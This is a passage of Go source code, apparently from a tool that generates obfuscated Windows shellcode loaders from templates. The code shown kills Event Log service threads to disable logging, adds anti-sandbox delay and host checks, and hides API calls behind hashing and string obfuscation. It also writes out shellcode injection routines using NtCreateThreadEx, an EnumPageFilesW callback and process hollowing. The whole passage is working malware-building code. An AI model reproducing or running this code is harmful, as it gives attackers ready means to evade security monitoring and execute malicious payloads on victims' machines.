{{.Vars.OpenSCManager}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenSCManagerW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.OpenService}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenServiceW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.QueryServiceStatusEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("QueryServiceStatusEx", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
event_log_pid_func = event_log_pid_func + `
{{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `)
{{.Vars.OpenSCManager}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenSCManagerW", str_obfs) + `)
{{.Vars.OpenService}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenServiceW", str_obfs) + `)
{{.Vars.QueryServiceStatusEx}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("QueryServiceStatusEx", str_obfs) + `)
`
}
event_log_pid_func = event_log_pid_func + `
var {{.Vars.ssp}} windows.SERVICE_STATUS_PROCESS
var {{.Vars.dwBytesNeeded}} uint32
{{.Vars.scm}}, _, {{.Vars.err}} := {{.Vars.OpenSCManager}}.Call(0, 0, windows.SERVICE_QUERY_STATUS)
if {{.Vars.scm}} == 0 {
return 0, {{.Vars.err}}
}
{{.Vars.svc}}, _, {{.Vars.err}} := {{.Vars.OpenService}}.Call({{.Vars.scm}}, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(` + ObfuscateStr("EventLog", str_obfs) + `))), windows.SERVICE_QUERY_STATUS)
if {{.Vars.svc}} == 0 {
return 0, {{.Vars.err}}
}
{{.Vars.QueryServiceStatusEx}}.Call({{.Vars.svc}}, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&{{.Vars.ssp}})), uintptr(unsafe.Sizeof({{.Vars.ssp}})), uintptr(unsafe.Pointer(&{{.Vars.dwBytesNeeded}})))
return {{.Vars.ssp}}.ProcessId, nil
}
`
phantom_func := `
func {{.Vars.phantom_func}}({{.Vars.pid}} uint32) error {
{{.Vars.err}} := {{.Vars.elevate_process_token_func}}()
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
`
if (hashing) {
phantom_func = phantom_func + `
{{.Vars.NtQueryInformationThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtQueryInformationThread, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.I_QueryTagInformation}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("I_QueryTagInformation", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.OpenThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.OpenProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.TerminateThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("TerminateThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.CloseHandle}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CloseHandle", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.CreateToolhelp32Snapshot}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateToolhelp32Snapshot", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.Thread32First}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Thread32First", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.Thread32Next}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Thread32Next", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
phantom_func = phantom_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.NtQueryInformationThread}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtQueryInformationThread, str_obfs) + `)
{{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `)
{{.Vars.I_QueryTagInformation}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("I_QueryTagInformation", str_obfs) + `)
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.OpenThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("OpenThread", str_obfs) + `)
{{.Vars.OpenProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("OpenProcess", str_obfs) + `)
{{.Vars.TerminateThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("TerminateThread", str_obfs) + `)
{{.Vars.CloseHandle}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CloseHandle", str_obfs) + `)
{{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
{{.Vars.CreateToolhelp32Snapshot}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateToolhelp32Snapshot", str_obfs) + `)
{{.Vars.Thread32First}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("Thread32First", str_obfs) + `)
{{.Vars.Thread32Next}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("Thread32Next", str_obfs) + `)
`
}
phantom_func = phantom_func + `
var {{.Vars.hThreads}} uintptr
{{.Vars.hThreads}}, _, _ = {{.Vars.CreateToolhelp32Snapshot}}.Call(windows.TH32CS_SNAPTHREAD, 0)
if {{.Vars.hThreads}} == 0 {
return errors.New(` + ObfuscateStr("An error has occurred calling CreateToolhelp32Snapshot", str_obfs) + `)
}
{{.Vars.tbi}} := PTHREAD_BASIC_INFORMATION{}
{{.Vars.te32}} := windows.ThreadEntry32{}
{{.Vars.te32}}.Size = uint32(unsafe.Sizeof({{.Vars.te32}}))
{{.Vars.Thread32First}}.Call({{.Vars.hThreads}}, uintptr(unsafe.Pointer(&{{.Vars.te32}})))
for true {
if {{.Vars.te32}}.OwnerProcessID == {{.Vars.pid}} {
{{.Vars.hEvtThread}}, _, _ := {{.Vars.OpenThread}}.Call(windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE, uintptr(0), uintptr({{.Vars.te32}}.ThreadID))
if {{.Vars.hEvtThread}} == 0 {
return errors.New(` + ObfuscateStr("An error has occurred calling OpenThread", str_obfs) + `)
}
{{.Vars.NtQueryInformationThread}}.Call(uintptr({{.Vars.hEvtThread}}), 0, uintptr(unsafe.Pointer(&{{.Vars.tbi}})), 0x30, 0)
{{.Vars.hEvtProcess}}, _, _ := {{.Vars.OpenProcess}}.Call(windows.PROCESS_VM_READ, uintptr(0), uintptr({{.Vars.te32}}.OwnerProcessID))
if {{.Vars.hEvtProcess}} == 0 {
return errors.New(` + ObfuscateStr("An error has occurred calling OpenProcess", str_obfs) + `)
}
if {{.Vars.tbi}}.pTebBaseAddress != 0 {
{{.Vars.scTagQuery}} := SC_SERVICE_TAG_QUERY{}
var {{.Vars.hTag}} byte
var {{.Vars.pN}} uintptr
{{.Vars.ReadProcessMemory}}.Call({{.Vars.hEvtProcess}}, {{.Vars.tbi}}.pTebBaseAddress+0x1720, uintptr(unsafe.Pointer(&{{.Vars.hTag}})), unsafe.Sizeof({{.Vars.pN}}), 0)
{{.Vars.scTagQuery}}.processId = {{.Vars.te32}}.OwnerProcessID
{{.Vars.scTagQuery}}.serviceTag = uint32({{.Vars.hTag}})
{{.Vars.I_QueryTagInformation}}.Call(0, 1, uintptr(unsafe.Pointer(&{{.Vars.scTagQuery}})))
if {{.Vars.scTagQuery}}.pBuffer != nil {
{{.Vars.TerminateThread}}.Call(uintptr({{.Vars.hEvtThread}}), 0)
}
{{.Vars.CloseHandle}}.Call({{.Vars.hEvtThread}})
{{.Vars.CloseHandle}}.Call({{.Vars.hEvtProcess}})
}
}
_, _, {{.Vars.err}} := {{.Vars.Thread32Next}}.Call({{.Vars.hThreads}}, uintptr(unsafe.Pointer(&{{.Vars.te32}})))
if {{.Vars.err}} != nil {
break
}
}
{{.Vars.CloseHandle}}.Call({{.Vars.hThreads}})
return nil
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(elevate_process_token_func, Main))
functions = utils.AppendString(functions, ParseTemplate(event_log_pid_func, Main))
functions = utils.AppendString(functions, ParseTemplate(phantom_func, Main))
}
// add sleep function to loader
if (sleep_time) {
if (verbose) {
fmt.Println(" > Adding custom sleep function...")
time.Sleep(100 * time.Millisecond)
}
Main.Vars["sleep_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["s"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["j"] = utils.RandomString(utils.RandomInt(9,10))
// define code using templates
sleep_func := `
func {{.Vars.sleep_func}}() {
{{.Vars.s}} := 500000 + ` + strconv.Itoa(utils.RandomInt(1000, 10000)) + `
for {{.Vars.i}} := 0; {{.Vars.i}} <= {{.Vars.s}}; {{.Vars.i}}++ {
for {{.Vars.j}} := 2; {{.Vars.j}} <= {{.Vars.i}}/2; {{.Vars.j}}++ {
if {{.Vars.i}}%{{.Vars.j}} == 0 {
break
}
}
}
}
`
// append previous functiom
functions = utils.AppendString(functions, ParseTemplate(sleep_func, Main))
}
if (username != "") {
imports = utils.AppendString(imports, "os/user")
Main.Vars["username"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["username_to_check"] = utils.RandomString(utils.RandomInt(9,10))
}
if (computername != "") {
imports = utils.AppendString(imports, "os")
Main.Vars["computername"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["computername_to_check"] = utils.RandomString(utils.RandomInt(9,10))
}
if (verbose) {
fmt.Println()
}
time.Sleep(100 * time.Millisecond)
// define shellcode execution function
var execute_shellcode_func string
fmt.Println("[*] Using " + exec_technique + " technique to execute shellcode")
time.Sleep(200 * time.Millisecond)
// first shellcode execution technique
if exec_technique == "ntcreatethread" || exec_technique == "ntcreatethreadex" {
imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtCreateThreadEx"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hhosthread"] = utils.RandomString(utils.RandomInt(9,10))
execute_shellcode_func = `
func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
`
if (hashing) {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtCreateThreadEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtCreateThreadEx, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
{{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
{{.Vars.NtCreateThreadEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtCreateThreadEx, str_obfs) + `)
`
}
execute_shellcode_func = execute_shellcode_func + `
var {{.Vars.addr}} uintptr
{{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}}))
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if {{.Vars.r1}} != 0 {
log.Fatal({{.Vars.err}})
}
{{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}}, 0)
var {{.Vars.oldProtect}} uintptr
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
log.Fatal({{.Vars.err}})
}
var {{.Vars.hhosthread}} uintptr
{{.Vars.NtCreateThreadEx}}.Call(uintptr(unsafe.Pointer(&{{.Vars.hhosthread}})), 0x1FFFFF, 0, uintptr(0xffffffffffffffff), {{.Vars.addr}}, 0, uintptr(0), 0, 0, 0, 0)
windows.WaitForSingleObject(windows.Handle(0xffffffffffffffff), windows.INFINITE)
return nil
}
`
} else if exec_technique == "suspendedprocess" { // next shellcode execution technique
imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EnumPageFilesW"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["psapi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["lpBaseAddress"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
execute_shellcode_func = `
func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
`
if (hashing) {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EnumPageFilesW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EnumPageFilesW", rand_num)) + `, ` + ObfuscateStr("psapi.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.psapi}} := windows.NewLazyDLL(` + ObfuscateStr("psapi.dll", str_obfs) + `)
{{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
{{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
{{.Vars.EnumPageFilesW}} := {{.Vars.psapi}}.NewProc(` + ObfuscateStr("EnumPageFilesW", str_obfs) + `)
`
}
execute_shellcode_func = execute_shellcode_func + `
var {{.Vars.lpBaseAddress}} uintptr
{{.Vars.regionsize}} := len({{.Vars.shellcode}})
{{.Vars.oldProtect}} := windows.PAGE_READWRITE
{{.Vars.NtAllocateVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.lpBaseAddress}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
{{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.lpBaseAddress}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr({{.Vars.regionsize}}), 0)
{{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.lpBaseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
{{.Vars.EnumPageFilesW}}.Call({{.Vars.lpBaseAddress}}, 0)
return nil
}
`
} else if exec_technique == "processhollowing" { // next shellcode execution technique
process_mitigation_binary_signature_policy := `
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
Flags uint32
}
`
proc_thread_attribute_entry := `
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
`
proc_thread_attribute_list := `
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
`
process_information := `
type ProcessInformation struct {
Process uintptr
Thread uintptr
ProcessId uint32
ThreadId uint32
}
`
startup_info_ex := `
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
`
process_basic_information := `
type PROCESS_BASIC_INFORMATION struct {
Reserved1 uintptr
PebBaseAddress uintptr
Reserved2 uintptr
Reserved3 uintptr
UniquePid uintptr
MoreReserved uintptr
}
`
exports = utils.AppendSlice(exports, []string{process_mitigation_binary_signature_policy, proc_thread_attribute_entry, proc_thread_attribute_list, process_information, startup_info_ex, process_basic_information})
imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows", "encoding/binary"})
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["proc"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["blockdlls"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GetProcessHeap"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["HeapAlloc"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["HeapFree"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["InitializeProcThreadAttributeList"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["UpdateProcThreadAttribute"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CreateProcessA"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ResumeThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ZwQueryInformationProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pbi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["procThreadAttributeSize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["procHeap"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["attributeList"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["mitigate"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["nonms"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["returnLength"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pointerSize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["imageBaseAddress"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addressBuffer"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["read"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["imageBaseValue"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["lfaNewPos"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["lfanew"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["entrypointOffset"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["entrypointOffsetPos"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["entrypointRVA"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["entrypointAddress"] = utils.RandomString(utils.RandomInt(9,10))
execute_shellcode_func = `
func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte, {{.Vars.proc}} string, {{.Vars.blockdlls}} bool) error {
`
if (hashing) {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.GetProcessHeap}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetProcessHeap", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.HeapAlloc}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("HeapAlloc", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.HeapFree}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("HeapFree", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.InitializeProcThreadAttributeList}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("InitializeProcThreadAttributeList", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.UpdateProcThreadAttribute}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("UpdateProcThreadAttribute", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.CreateProcessA}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessA", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ResumeThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ResumeThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ZwQueryInformationProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ZwQueryInformationProcess", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.GetProcessHeap}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetProcessHeap", str_obfs) + `)
{{.Vars.HeapAlloc}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("HeapAlloc", str_obfs) + `)
{{.Vars.HeapFree}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("HeapFree", str_obfs) + `)
{{.Vars.InitializeProcThreadAttributeList}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("InitializeProcThreadAttributeList", str_obfs) + `)
{{.Vars.UpdateProcThreadAttribute}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("UpdateProcThreadAttribute", str_obfs) + `)
{{.Vars.CreateProcessA}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessA", str_obfs) + `)
{{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
{{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
{{.Vars.ResumeThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ResumeThread", str_obfs) + `)
{{.Vars.ZwQueryInformationProcess}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("ZwQueryInformationProcess", str_obfs) + `)
`
}
execute_shellcode_func = execute_shellcode_func + `
var {{.Vars.pbi}} PROCESS_BASIC_INFORMATION
var {{.Vars.si}} StartupInfoEx
var {{.Vars.pi}} ProcessInformation
if ({{.Vars.blockdlls}}) {
{{.Vars.procThreadAttributeSize}} := uintptr(0)
{{.Vars.InitializeProcThreadAttributeList}}.Call(0, 2, 0, uintptr(unsafe.Pointer(&{{.Vars.procThreadAttributeSize}})))
{{.Vars.procHeap}}, _, {{.Vars.err}} := {{.Vars.GetProcessHeap}}.Call()
if {{.Vars.procHeap}} == 0 {
return {{.Vars.err}}
}
{{.Vars.attributeList}}, _, {{.Vars.err}} := {{.Vars.HeapAlloc}}.Call({{.Vars.procHeap}}, 0, {{.Vars.procThreadAttributeSize}})
if {{.Vars.attributeList}} == 0 {
return {{.Vars.err}}
}
